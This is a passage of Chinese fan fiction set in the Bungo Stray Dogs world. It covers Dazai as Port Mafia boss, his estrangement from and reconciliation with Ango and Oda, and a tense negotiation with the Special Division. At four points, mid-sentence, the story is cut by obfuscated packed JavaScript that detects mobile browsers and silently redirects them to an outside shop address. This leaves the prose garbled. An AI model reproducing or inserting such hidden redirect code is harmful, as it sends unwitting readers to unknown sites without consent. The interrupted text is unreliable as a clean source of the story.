“就近到像是地狱绘卷套餐那么近吧,安吾。”织田作之助的眼中泛起细碎的笑意:“把我们三个人的心紧紧地搅拌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001046|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起。” “真不愧是织田作先生,总是能非常坦然地说出很了不得的话呢。”坂口安吾忍不住抬手捂住眼睛遮住自己的不自在,但是嘴角却忍不住微微上扬:“搅拌在一起之后卖相肯定超级恐怖的,最后会变成什么样子我可不知道。” 这几天的港口mafia大楼里气氛都非常沉闷。 这也难怪,港口mafia围住孤儿院试图袭击院长,异能特务科参事官辅佐舍身救人身受重伤的事情这几天在横滨传得沸沸扬扬,异能特务科这几天一直在舆论上追着港口mafia穷追猛打,几天之后即将开启的新一轮谈判黑手党一方也占尽劣势。 是的,和众人心中的刻板印象不同,人均法外狂徒的港口mafia也是需要注重名声和舆论这种东西的。 出来混嘛,做事要讲道义。为了争地盘抢生意之类的理由动刀动枪也就算了,大家也要吃饭的嘛,但是对于既无利益关系也没有战斗能力的妇孺出手…… 哪怕是在混黑的人眼里这种行为也出格了,更何况还搞伤了一个政府雇员弄得人尽皆知。 被森首领推翻的先代为什么臭名昭著?其中很大一部分原因就是因为他曾经全城诛杀红色头发的孩子。 毕竟谁能保证自己一辈子不结婚不生孩子啊?就算真的孤寡一生人总会老吧?你这个组织对待老弱妇孺下手这么狠,怎么服众让大家安心在你手底下干活? 啊?你说你和孤儿院院长有旧怨? 不好意思,这种事情你要是私下里去报仇没人关注也就算了,动静搞这么大你这这这……这报纸上一刊登全是标题党啊,谁管你有没有什么苦衷?反正你欺负孤儿院重伤公务员是真的吧?那就是你不对你罪该万死! 所以这几天港/黑大楼里也一直静悄悄的,谁也不敢在这个时候蹦哒触了首领的霉头,作为新闻主人公的中岛敦本人更是跪在首领办公室门口请罪请了好几天了,但是至今为止对于他的处罚也依然没有下发。 也是,首领他暂时应该也没有心思关注这件事吧……秘书小银在心里轻轻叹一口气,弯腰把跪在门口的中岛敦搀扶起来:“中岛君,你先回去吧,首领说你的事之后再说。” “是我不对,都是我违背了太宰先生的命令才会发生这样的事。”中岛敦眼里满是自责:“如今连累整个港口mafia都处在风口浪尖上,还有比处罚我更加紧急的事吗? 不如说如果能处罚我一个就平息这件事那就太好了,无论是多么残酷严苛的刑罚我都甘之如饴。” “虽然首领没有明说,但是我觉得的确有一件更加紧急的事。”秘书小银轻轻叹一口气:“您不觉得异能特务科的反应实在是太迅速了吗?简直就像是他们在事情发生的瞬间就立刻赶过来了一样。你觉得他们是怎么知道的呢,中岛君?” “当然是那位戴着圆眼镜的先生自己……”说到这里,中岛敦的话忽然顿住了。 那天那位先生不仅拒绝了黑手党的救治,而且直到离开为止也没有呼叫救护车的意思,反而是捂着伤口一个人慢慢地消失在道路的尽头,如果是他呼叫的救援异能特务科根本就不可能反应这么快。 “港口mafia有内鬼?”中岛敦瞬间寒毛直立。 秘书小银也一脸担忧:“首领这几天一定也在为这件事情烦恼吧。” 本来糟心事就够多了,这还真是一个多事之秋。 30.第 30 章 而此时港口mafia的“内奸”本人正坐在首领办公室里呢,他最近心情的确不太美妙,不过倒是和外界猜想的什么内奸啊舆论之类的事情关系不大,他只是在内疚自己又一次把好朋友给连累了。 如果不是为了我的硬豆腐安吾根本就不会跑到那么远的郊区去吧,而且明明我已经非常小心了,他还是被卷进了黑手党的斗争里还受了那么重的伤…… 果然我这个人就只会害人啊,如果当初坚持一下不认识他们就好了。 太宰治眼神虚无地看向房间里无边的黑暗,心里却忍不住浮现起那天听到安吾倒在血泊里时涌上来的无助感,那一瞬间他痛恨自己痛恨到恨不得立刻死去,他后悔自己的得意忘形。 我不应该接近他们的,明明已经决定好了不再让黑手党出现在他们的生命里。 自从给织田作通风报信之后他就再也不敢给安吾和织田作发消息了,那部用来联络他们的手机他也再也不敢打开,它和那台笔记本电脑一起被锁进了抽屉的最深处,太宰没有勇气看到他们发来的任何信息。 如今安吾和织田作肯定猜到我是一个职位很高的黑手党了,他们会怎么看我?会很失望吗? 也许他们会接纳我,会体贴地装作什么也不知道的样子,还会和以前一样与我视频聊天,然后默契地不碰那些关于身份和立场的问题,因为他们就是那样温柔的人,这一点我再清楚不过了。 可是我就是一个胆小鬼,即使这样我依然没有勇气去看他们的信息。 如果再次看到他们的关心,我就没有毅力和决心与他们一刀两断了。 等……等到几年之后吧,等到芥川加入了武装侦探社之后,等到我的计划完成的时候,我就带着那部手机和电脑一起离开。 我不需要留下任何遗物,就让那些曾经的联系和记忆都和我一起消散在世间,从此不会有人再知道,就像我们都不曾存在过那般。 “首领,三号据点又送来包裹了。”忽然门外的敲门声响起打断了太宰的思绪,他从一片虚无中回过神来,然后便对着外面的包裹不知如何是好了。 手机和电脑可以藏起来,可是食物呢? 他们再送来早餐和午餐要怎么办?我已经很连累他们了,难道还要把他们两个的真心也扔进垃圾桶吗? 要不……要不就废掉这个据点吧。太宰在心里做好了决定,虽然稍微有点麻烦,不过如果能彻底远离织田作还有安吾也是值得的,那就从明天开始废掉吧,他强忍不舍做好了决定,今天就是收到的最后一个包裹了。 “送进来。”他抬手按开了办公室的大门,送来的包裹一如既往的板板正正,一看就是安吾的手笔。 安吾不是受了很严重的伤吗?干嘛不好好休息还要给我送早饭。太宰心里酸涩难言,在把其他人打发出去之后他拿出刻刀非常珍惜地拆开包裹。 这次毫无特点地透明食盒里第一次没有出现三明治,反而是一团……青青紫紫还掺着些许红色的诡异果冻状流体,这次放在里面的馅料不是羊肉和螃蟹了,反而是碎成很多块的白色块状物体。 一如既往的,不,看起来比前几天的卖相还要更恐怖一点,毫不夸张的说这玩意儿远远看去简直像是某种坏死的人体组织,总之和食欲是毫无关系的,看到只能让人产生一种想要报警的冲动。 下面还有一封信。 D先生: 鉴于这几日我和织田作先生都联系不上你,所以我就冒昧把地狱绘卷套餐(完全体)送来了,味道我和织田作先生都尝过,我们一致认为它可以称得上是一道美味佳肴。 我不得不承认硬豆腐的确是一道非常好吃的料理,放在安吾锅里吸满了汤汁之后口感更是绝妙,想到如此人间美味敢动筷子的却只有我们三个,所以我就迫不及待地送来与你分享。 如今我虽然受伤但是也因此得以放了一个长假,想来也算因祸得福。人世间的种种际遇皆是如此,福祸相依,否极泰来,我们身处其中随波逐流,是福是祸看不分明,就只好尽力抓住想要抓住的东西。 D先生,我如今放开你是一件好事吗?抓紧你是不是一件祸事?我想这个问题没人能知道答案,但是我现在有一件唯一能确定的事: 我不想和你形同陌路,日后无论是福是祸都好过我们从不相识。 请原谅我铺垫了这么多却只说了一句这样莫名其妙的话,毕竟我不是织田作先生,没办法一脸坦然地说出一些惊世骇俗的言论,不过鉴于你是一个比我还要别扭的胆小鬼,所以除非你回复我否则我不接受你的任何评价。 除此之外,织田作先生的近况也同样令人担忧,随着截稿日期的临近他愈发焦虑了,每天的写作也几乎到达了废寝忘食的地步,只靠我一个人真的很难管得住他,所以现在养生会议室急需你的加入。 最后,希望地狱绘卷套餐(完全版)你能喜欢,我和织田作先生静待你的回复。 安吾 只有短短几百字的信件,太宰却拿在手里静默良久,不知道到底过去了几分钟或是几个小时之后,他才终于沉默着叠好信件打开那个透明的食盒。 一入口先尝到的是蔬菜的鲜味,然后就是咖喱饭略带辛辣的米粒颗粒,硬豆腐在充分地吸取汤汁之后果然软了下来,咬下去带着韧劲还会爆出些安吾锅的汤汁。 明明是三道那么可怕的料理,但是混合在一起之后却真的成了一道美味佳肴,太宰沉默着咽下口中的食物,他们三个人隔着电脑开厨艺交流会的时光似乎就在昨天。 无论是福是祸都好过我们从不相识吗?安吾原来是这么想的,可是如果他真的知道后来发生的一切,安吾真的不会后悔曾经认识过我吗? 没人能给他答案,太宰治也不知道这个问题到底应该问谁,他怀着迷茫的心情又吃了一口盒子里的食物,最后鬼使神差地又翻开了那本书。 各个世界太宰治的记忆纷至沓来,但是却没有一个太宰治问过织田作和安吾一句,你有没有后悔认识过我。 果然太宰治都是别扭的胆小鬼啊,安吾这句话还真没说错,太宰治忍不住露出一丝苦笑,然后他发现主世界里那个失踪的安吾依然没被找回来。 怎么搞得啊你这个废物!首领宰的眉头因为嫌弃紧皱起来。 虽然两个世界的时间流速不同,虽然你那边时间只过去了一天,但是安吾可失踪了整整两天一夜的时间了啊,你这个太宰治到底怎么回事! 虽然心里的嫌弃已经突破天际,但是想着自己世界的安吾也可能会遭遇类似的问题,所以首领宰还是耐下性子认真地阅读起主世界的记忆。 因为找遍了横滨内外所有可能绑架安吾的组织都一无所获,所以此时的太宰治已经把视线投向了异能特务科的死对头——港口mafia。 对此,森鸥外表示自己真的是无妄之灾,他看着如入无人之境一般直接进到首领办公室的太宰治头疼地叹一口气,也懒得去做呼叫守卫这种没有意义的事情,只是双手摊开一副无奈中年人的样子: “真的不是我啊太宰君,关于坂口安吾是政府卧底这件事我可是老早就和异能特务科达成和解了,如今事情都过去这么多年了,我有什么理由再把他绑过来?” “这可不一定呢,森先生。谁知道你是不是又在谋划着什么?”一身驼色外套的太宰治虽然是笑着的,但是鸢色的眼眸里却没有一点光亮: “毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005575|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟你当年也‘没有理由’去害一个底层成员不是吗?难道港口mafia是又缺了什么种类的营业执照?” 看着太宰治明显是一副不打算讲理的样子,森鸥外都快被他的说辞气笑了。 就算缺了我为什么要绑一个政府雇员?这不只会把事情越搞越糟吗? “唉,在武装侦探社的这几年你真是毫无长进,太宰君。这种时候你应该保持理智,而不是被情绪支配然后像无头苍蝇一样到处乱撞。” 森鸥外依然还是几年之前那副循循善诱的语气,就好像他是一位在引导学生的师长: “距离坂口安吾失踪已经过去了36个小时,但是至今为止仍然没有任何个人或者组织宣称对此负责,说明对方做下这事并不是为了扬名。绑架犯也同样没有向政府或者个人提出过任何条件,对方绑架坂口安吾也不是为了求财或者谈判。 绑架一个人却既不求名也不求利,那对方所图谋的东西就只有一个了。”森鸥外睁开狭长带着猩红的眼睛,说出的话冷漠而果决:“对方要的是坂口安吾的命。别告诉我你没想到这一点,太宰君。” 太宰治垂在身侧的拳头用力握紧,面无表情地盯着森鸥外没再说一句话。 距离坂口安吾失踪已经过去了三十六小时,如果是害命的话,一切早就已经来不及了。 “才过去三十六小时而已,现在下定论还为时尚早。”太宰忽然打破了沉默,他脸上依然没什么表情,说出的话轻飘飘的: “说不定是他们想要安吾脑子里的情报所以还在拷问他,说不定安吾已经逃出来了只是还没有办法联络上我们,还说不定是因为安吾的异能力对他们有用处,所以他们只是暂时把安吾控制起来……” 森鸥外就这么冷眼看着太宰治几乎是失去理智地在为坂口安吾的存活寻找一丝一毫的可能性,那目光就像是在看一个不懂事的孩子,太宰治忽然就说不出话来了,他像是被人用力打了一棒子一样脸色苍白地闭上了嘴。 想要情报最方便省心的是绑一线的情报员而不是长官;以坂口安吾的能力逃出来之后两天一夜还联系不上异能特务科的可能性微乎其微;堕落论虽然好用但并不是不可替代,无论出于什么用处直接绑架一个政府官员这样高风险低收益的事根本没人会干…… 虽然反驳的理由森鸥外张嘴就能说出一堆,但是看着这个样子的太宰治他也没了一一反驳对方的心情,他屈起食指用指节在桌上的一摞文件上轻敲几下: “虽然我觉得你现在最应该做的是以杀人抛尸为前提去寻找可能的藏尸处,不过既然你依然不想放弃的话,这份横滨流动异能者统计报告我也可以给你。反正你过来无理取闹也是为了这个吧?” 有很多非法偷渡过来的异能者不会去异能特务科备案,所以这方面的情报明显是港口mafia更加灵通。 目的已经达到,太宰治也没有心情再和森鸥外顶嘴或是说一些有的没的,他走过去拿起桌上的情报,然后毫不犹豫地转身就走。 “太宰君。”在太宰治即将开门离开的时候,森鸥外忽然开口了。 太宰治没有回头,但是他的脚步停顿在原地。 “我都有点想收回你和我很像的那句话了。我有的时候会有点好奇,你后悔认识他们两个吗?” 在短暂地开心了一年之后就是无尽的痛苦,被背叛,被丢下,如今又变回孤身一人,既然这样是不是还不如从一开始就不曾遇见过? 太宰治已经开门离开了,只留下一句叹息落在房间里: “要是没遇见过他们两个我才会后悔吧……” 没有朋友,没有陪伴,甚至没有痛苦,就这么无知无觉地蹉跎了一生。 31.第 31 章 当天晚上,当安吾怀着期待又忐忑的心情进入会议室的时候,他发现会议室里的人终于又变回了三个。 在心里不着痕迹地松一口气,他看着依然带着面具坐在黑暗里的太宰君打趣了一句:“看来还是地狱绘卷有用,织田作先生,以后D先生再闹别扭我们就给他吃这个吧。” “我觉得可以。”织田作之助的心情也非常好,头上的呆毛一晃一晃的:“只不过我们没有更多的硬豆腐了。D,要不你多做几块给我们寄过来吧?之后你闹别扭我们就做地狱绘卷给你吃。” 太宰治心里还有点别扭,所以只是低着头小声吐槽:“名字已经简化成地狱绘卷了吗……” “是的,现在它已经是一道全新的菜了。”织田作之助指了指自己:“是我的提议,安吾也同意了。” 安吾点头附和,然后推一推眼镜:“顺便一提,D先生因为闹别扭缺席了那次会议,所以现在你没有抗议的权利。” “我,我才没有闹别扭!”太宰治低着头不服气地反驳:“我最近只是太忙了而已!别看我这样我的工作其实非常多,所以这几天才没有时间上网!” “好吧,你说是就是吧。”安吾姑且相信了这个解释:“那你如今忙完了吗?” “其实完全没有。”太宰治的头始终不肯抬起来,声音小的像蚊子哼哼:“我只是不想以后再后悔……” “你说什么?”安吾没听清又凑近了一点:“什么后悔?” “你听错了,才不是后悔!”太宰治一个激灵终于抬起头,然后看着身体瘦弱还从领口露出绷带的坂口安吾瞬间就生气了:“我在说安吾是个笨蛋,居然连休息都不会!你不是放长假了吗?那就赶紧躺到床上去休息!” “我已经躺了一天了,偶尔下床活动一下也不要紧吧?”坂口安吾觉得莫名其妙:“怎么就是笨蛋了?” 还不够笨蛋吗?就连自己得罪了谁都不知道,莫名其妙地就被绑走了,一声不吭地就死……呸呸呸!才没死!一声不吭地就失踪不见,天底下简直没有比安吾更笨的笨蛋了! 本来太宰治就因为主世界发生的事情心情焦躁,如今看到坂口安吾一副病殃殃的样子心里更是气不打一处来:“不服气吗?那我问你,你知道自己都得罪了什么人吗?答不上来你就是笨蛋!” “为什么忽然要问这个?”坂口安吾觉得一头雾水,但看到太宰治如此气愤的样子他还是努力回忆了一下: “之前去卧底的一些组织基本上都结仇了,应该还得罪了几个迂腐顽固的上层,去年和前年的时候查处了几个实在太过分的异能组织,几个不老实的属下被我处分了,除此之外还有……” 太宰治:…… 安吾,你的仇家好多啊,说不定想杀你的人不比想杀我的少。 就连织田作之助都发出感叹:“我终于知道为什么总是有政府官员找我们当保镖了。安吾,你需要保镖吗?” “不用的,织田作先生。”坂口安吾显然没把这些当回事儿:“异能特务科给我配了两个安保人员,而且如今那些人也拿我没有办法。我基本上大部分时间都在办公室,难道他们还能冲进来杀了我吗?” 太宰治:…… 就是因为安吾这种掉以轻心的心态所以他才会中招了吧! 结果现在因为嫌疑人太多我光是想要排查都需要费一番功夫! “安吾,我确定了,你果然是个笨蛋。”太宰治一脸认真地宣布。 坂口安吾莫名其妙:“啊?为什么啊?” 织田作之助开始跟着凑热闹:“是因为得罪了太多人吗?” 看着所有世界里硕果仅存的织田作之助,太宰同样认真地宣布:“织田作,你也一样是个笨蛋。” 织田作之助:? 在其他世界,虽然横滨一直风波不断,但是大部分太宰治认识的同事和前同事们全都有惊无险地活到了最后。 就只有这两个笨蛋!就只有自己身边的这两个笨蛋! 想想作恶多端屑得人牙根痒痒的森鸥外,又想想正得发邪百分百纯好人的国木田,太宰治更憋屈了。 合着无论是黑方还是红方都没事,只有你们两个笨蛋总是会莫名其妙的死掉! “唉,果然你们两个笨蛋是指望不上了,还是要靠我才能艰难地支撑起这个家啊……”太宰治双手扶着额头发出一声长叹。 他的感叹立刻遭到了坂口安吾的反驳:“怎么可能?真要说起来明明D先生和织田作先生才是笨蛋,这个家一直在靠我支撑。” 看看我要是不来你俩都过成啥样了?太宰君最后都想不开要跳楼了好吗? “怎么可能?明明是我最靠谱!安吾和织田作都要靠我了!” “D先生和织田作先生才是,如果没有我你们俩可怎么办?” “我更可靠!” “我才是可靠的成年人。” 他们两个争执不下,最后太宰一转头看向坐在一边安静看戏的织田作之助:“织田作,你说我们之中谁最可靠?” 织田作之助头上的呆毛晃了两下:“我觉得我比较可靠,需要照顾D和安吾两个笨蛋呢。” 安吾和D都是笨蛋别扭鬼,如果我不在他们两个肯定会闹别扭。 太宰治:…… 安吾:…… 沉默片刻之后,太宰治不可置信地后退一步:“诶?所以我们三个唯一的共识就是其他两个人是笨蛋吗?” “还有自己才是最可靠的人。”坂口安吾推一推鼻梁上的眼镜:“一个人辛辛苦苦撑起了这个家。” 太宰治大受打击地坐回椅子上:“怎么这样?我还以为我在你们心里非常成熟可靠呢……” “到底成熟在哪里啊……”坂口安吾笑着吐槽了一句,随即又有点好奇地陷入思考:“所以,真实情况到底是什么样的呢?到底是谁在支撑着这个家?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011547|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们三个人面面相觑半晌,最后织田作之助开口了:“既然我们三个都很努力的话,那就是我们三个一起在支撑着这里了。”他说着肯定地点点头:“我们都很重要,缺少一个家就要塌了。” “虽然很不甘心,但是真相就是这样了吧。”太宰勉强承认了这个说法,然后他右手比出一个对号的形状放在下巴上:“不过我绝对是顶梁柱,集智慧和尊敬于一体的最靠谱男人!” 安吾:…… “总感觉这个家不能住人了,早晚会发生山体滑坡。” “安吾,好过分啊!” 自那以后一切就恢复如常了,太宰还是会在每天晚上准时加入会议室,他最近似乎真的很忙,但是即使如此他每天晚上依然会坚持不懈地督促安吾和织田作休息。 “现在十一点了,已经到休息时间喽~”他看一看埋头写作的织田作之助:“织田作,安吾的身体必须要好好休养才行,不可以让他再继续熬夜了!” 织田作之助几乎是立刻就从文学创作的氛围里脱离出来,他合上笔与太宰治一起看向低着头不知道在研究什么书的坂口安吾。 “安吾,再不休息织田作就又要通宵了,快清醒过来!” 于是坂口安吾也合上了书开始收拾东西,看着在自己的劝说下终于乖乖休息的两人,太宰治满意点头。 果然,我才是这个家的顶梁柱呢,照顾织田作和安吾都要靠我! “D先生,明天就是港口mafia和异能特务科谈判的日期了。” 今天在休息之前,坂口安吾一反常态地主动谈论起工作上的内容,太宰治立刻看过去,安吾却头也没抬,似乎只是在说一件非常寻常的小事: “到时候我会作为这次会议的中间人主持这场谈判,所以明天晚上就不能参与视频会议了,我请假一天。” 说到这里,安吾终于抬起头,他抬手推一推鼻梁上下滑的眼镜,灯光在镜片上的反射遮住了他一只眼睛:“如果后续加班还需要再请假的话我们电话联系。” 这里虽然是一个三人会议室,但毕竟只是一个普通的网络平台,并不是一个适合私密交流的地方,所以安吾通过这种方式暗示太宰如果需要帮助可以电话联系自己,他相信太宰能懂自己的意思。 果然,从刚才开始就一直没开口的太宰治不知不觉坐直了身体,他也同样语气平常地开口:“正好我明天要出差一天呢,那我们明天就先暂停一天吧。” “我没问题。”织田作之助痛快答应下来,目光担忧地看着他们两个:“安吾,D,你们两个都注意安全。” “嗯,放心吧,织田作,只是一次非常普通的出差而已,第二天一早就能回来。”太宰治看向屏幕对面的坂口安吾,嘴角扬起一丝笑意: “不要咒自己加班嘛,安吾,我可不想接到一个病号的加班电话。”他鸢色的眼睛弯起显出几分柔色:“祝你工作顺利,安吾。我们后天见。” 32.第 32 章 虽然在当天晚上就知道太宰君已经表示他不需要自己的帮助,但是一直到即将开始会议的前几分钟,没有接到过电话和信息的安吾心里还是忍不住浮现出几丝担忧和忐忑。 “太宰君真的没问题吗?”他忍不住在心里和世界意识说话:“如今港口mafia实在是太被动了,也不知道他到底怎么打算的……” “以太宰治的头脑我觉得没什么可担心的。”世界意识宽慰了安吾一句,随即忍不住吐槽:“而且你到底是哪边的?再这样下去我看你干脆叛逃去港口mafia算了!” “我是异能特务科的参事官辅佐,怎么能干出这么没有责任和担当的事?”安吾毫不犹豫地反驳了世界意识。 “那你还打算偷偷给太宰治泄露情报?”世界意识疑惑不解。 “只是一些对异能特务科没有危害的信息而已。保密程度也没有很高。”坂口安吾忍不住给自己辩解:“我只是略微地提供一点点帮助,这次不会太出格的……” “这次?听起来你好像的确为了太宰治做出过很出格的事呢,安吾。” 坂口安吾:…… 看到他沉默不语,世界意识反而被勾起了好奇心:“有多出格?透露了绝密的信息吗?” “也,也没有吧……”坂口安吾不自然地移开视线。 世界意识:…… 看来的确透露过呢。 看到世界意识先生终于停止了追问,曾经放跑通缉犯还敢欺上瞒下骗首相的坂口安吾心里默默松一口气,这时候种田长官推门走进来,看到他紧张的样子明显是误会了什么,于是走过去拍拍安吾的肩膀: “这是我们第二次和港口mafia的首领谈判,虽然对方的确是个可怕的对手,但是你也不用太紧张,安吾。 我们这次安排了军警护卫,所以一会儿哪怕直接打起来也没关系,我们还可以把战斗的活儿交给军警,这次不会有忽然冲过来的白色死神给你一爪子了。” “长官,您这样讲我就更放松不下来了。”坂口安吾苦笑一声:“如今我们可是在船上,万一打得太过火打沉了船,那我们就只好从公海上游回去了。” 种田长官被安吾的样子逗笑了:“哈哈哈,只是开个玩笑而已,瞧你吓的。”他手里的折扇轻轻敲了一下学生没受伤的那边肩膀: “放轻松,从上次的面谈来看对方是个城府很深的人,不会做出在谈判现场忽然掀桌子的举动的,所以一会儿不会直接打起来,这下你可算放心了吧?” 安吾:…… 能做出的保证只是不会打起来而已吗?看来一会儿是免不了一场血雨腥风了。 安吾还没来得及回复,种田长官似乎忽然又想起了什么,他神色严肃地告诫坂口安吾: “对了,你之前没见过港口mafia的首领,一会儿记得时刻防备着他向你靠近和搭话。 就像我刚才说的,他是一个城府很深的人,心里的谋算从不出错,无论多么看似闲聊的问候也许都有着他自己的目的,你千万小心别被他绕进去。” 种田长官看起来非常忌惮太宰君,看来他们两个的上一次谈判似乎不太愉快。坂口安吾心里划过猜测,面上一脸认真地回复:“遵命,我会防备他的。” “我只是提醒你一句,以你的能力我当然是无需担心的。”看到自己的学生已经成长为如今这般能独当一面的样子,种田长官十分欣慰:“还好有你在,安吾。我们异能特务科总算不是毫无希望。” 看看武侦和港/黑的那些优秀的异能力者,再看看异能特务科,如果不是还有个坂口安吾在种田山头火简直怄得要吐血了。 很快时间就来到了晚上,港口mafia的首领和种田山头火坐在船舱的客房里谈笑风生,虽然这艘船其实上上下下全都已经被政府和黑手党的守卫围得密不透风,但是在他们二人所在的客厅里却除了他们两个之外空无一人,在分针指向12的时候门外的敲门声准时响起,然后就是一个西装革履面无表情的圆眼镜青年走了进来。 “打扰了,接下来二位的这场会议将由我主持并进行记录,我是异能特务科的坂口安吾。”那位圆眼镜青年一个字都吝啬多说,目光始终正视前方,力求成为一个不带一丝感情的机器人。 太宰君看着比视频里还要瘦一点,最近他三餐不是很规律吗?怎么都不长肉……其实安吾心里的想法已经如同弹幕一般刷过去好多条了。 而太宰治也是第一次亲眼见到这个世界的安吾,他丝毫不掩饰自己的兴趣,单手支着脑袋转头看向板着张脸的坂口安吾。 这人看着气质和在会议室里的时候大不相同,单看这个不苟言笑的样子真的很难想象他私下里其实经常被太宰和织田作之助的一唱一和气得疯狂吐槽。 “这就是那位舍己救人的公务员坂口安吾?真是久仰大名,这几天横滨到处都流传着你的传说呢。”太宰身体略微前倾,看着安吾的目光带着些打趣的笑意:“怎么这么快就带伤出来工作了?异能特务科的社畜真是好命苦啊~” 安吾:…… 哪壶不开提哪壶是吧?故意的!这个小兔宰治绝对是故意在挖苦我! “多谢您的关心,我的伤并无大碍。”心里其实很想和太宰拌嘴,但是安吾仍然只能机械地回复一句客套话。 在所有太宰治的记忆里都很少看到安吾这样一本正经地工作状态,大多数时候他都是被太宰逗两句就破功了,所以面对这样一直“忍耐”的安吾太宰治更感兴趣了,他还想再多聊几句:“安吾……” 种田山头火及时开口打断了这场交谈:“太宰君,会谈已经开始,我们还是尽快切入正题吧。”他的目光带着一丝警告:“您想要聊天可以私下去找朋友,请不要把时间浪费在注定无用的事情上。” “你们异能特务科还真是一群无聊的家伙。”太宰治无所谓地耸耸肩膀,终于把目光看向桌子对面的人:“好吧,那我们这就开始吧,这场由无聊之人发起的无聊会见。” 接下来的时间里自然是一场双方各不相让的唇枪舌剑,异能特务科这边借着这次袭击孤儿院的事想要让港口mafia把在横滨吃进去的地盘再吐出来几块,而港口mafia当然不可能同意,太宰治表示他最多只愿意关闭几条走私线路用来“支付社畜安吾的医药费”。 眼看着双方之间的谈判持续了一个多小时都没有达成共识,种田山头火的耐心终于告罄了,他把桌上的笔记本电脑推了过去: “太宰君,这次你们犯下的罪是证据确凿的,这次可不像之前那样找几个律师在法庭上强词夺理就能糊弄过去,之前我们只是提前给出一点预告而已,如果您坚持己见的话,我们只好按照法律 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014184|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这位中岛君逮捕起来了。” 电脑上播放的是孤儿院的监控视频,从中岛敦把孤儿院围起来到行凶伤人的全过程都一清二楚,当时接到消息的第一时间异能特务科就把证据固定下来了,这也是安吾受伤之后没有立刻联系异能特务科的原因之一。 异能特务科知道的越早留给港口mafia扫尾善后的时间就越短,所以太宰治这次实在是一次“我坑我自己”的典范了。 即使面对着如此确凿的犯罪证据,太宰治也并没有露出什么特别的神色,他目光非常平静地投向电脑屏幕,看着中岛敦带人把孤儿院围起来的画面也无动于衷,然后安吾在关键时刻冲了出去,被虎爪击中之后他软绵绵地倒下去,血瞬间染透了半边肩膀。 食指微不可查地弯曲了一下,太宰治一脸无所谓地移开目光,他把笔记本电脑推回去,看着一脸严肃的种田山头火忽地笑了: “呵,这还真是不得了的劲爆场面,要是曝光出来的话我们就要成为众矢之的了呢。” 种田山头火的脸色又黑了几层:“我不是在跟你开玩笑。” 太宰治直接无视了对方的警告,转而说起了一个看似无关的问题:“这位十分敬业的公务员大叔,你知道想要化解一个舆论危机,最好的方法是什么吗?” 种田山头火盯着他没有回答。 太宰治也不在意,而是自顾自地做出了回答:“是掀起一场更大的舆论风暴哦~” 他把一直放在手边的文件袋推了过去,双腿交叠靠在椅背上放松地端起茶杯抿了一口:“本来就作恶多端的黑手党围攻了一个孤儿院自然可恶,但是政府官员集体被爆出巨额贪腐才更加吸引人眼球吧? 哎呀哎呀,侵吞的居然还是本来用于分发给贫困人群的失业补助金,相比之下我甚至分不清到底是哪一方要更恶一点呢!” 本来在尽职尽责做会议记录的坂口安吾打字的手停顿了片刻才继续下去,种田长官脸色铁青地拿过文件袋打开。 里面的文件厚度惊人,那些官员们如何巧立名目挪用公款甚至洗钱手段全都调查的一清二楚,甚至因为时间跨度巨大这已经成为了一个约定俗成的潜规则,这些年来政府拨下来的各项救助真正发到百姓手里的十不存一。 结果最后那些极端贫困的人口居然还要靠着港口mafia的施舍才能勉强混一口饭吃,这还真是一出荒唐又讽刺的人间闹剧。 种田山头火只翻了几页就看不下去了,直接把手里的文件一把扔到坂口安吾身边:“收好,等回去再和他们算账!” 坂口安吾放下记录的工作略显匆忙地接过文件,第一页就是一个身居高位的官员,曾经这位官员还找到安吾让他给自己的一些黑产行个方便,安吾当然是拒绝了,从此以后也就和这个人彻底结了仇。 毕竟安吾的异能力实在是麻烦,能读取物体甚至是人过去的记忆,在他面前是没有任何秘密可言的,这样的人如果不能拉拢那就只能消灭。 坂口安吾愣了一下,然后又粗略往后翻了翻,名单里有相当一部分人都是和他明里暗里结了仇的,要说这是一个巧合实在是太过牵强了。 所以太宰君居然真的在找和我结仇的人然后还要一个个地解决掉?坂口安吾心里划过一丝惊讶。 而且这才几天时间他的准备居然就已经这么充分了吗? 33.第 33 章 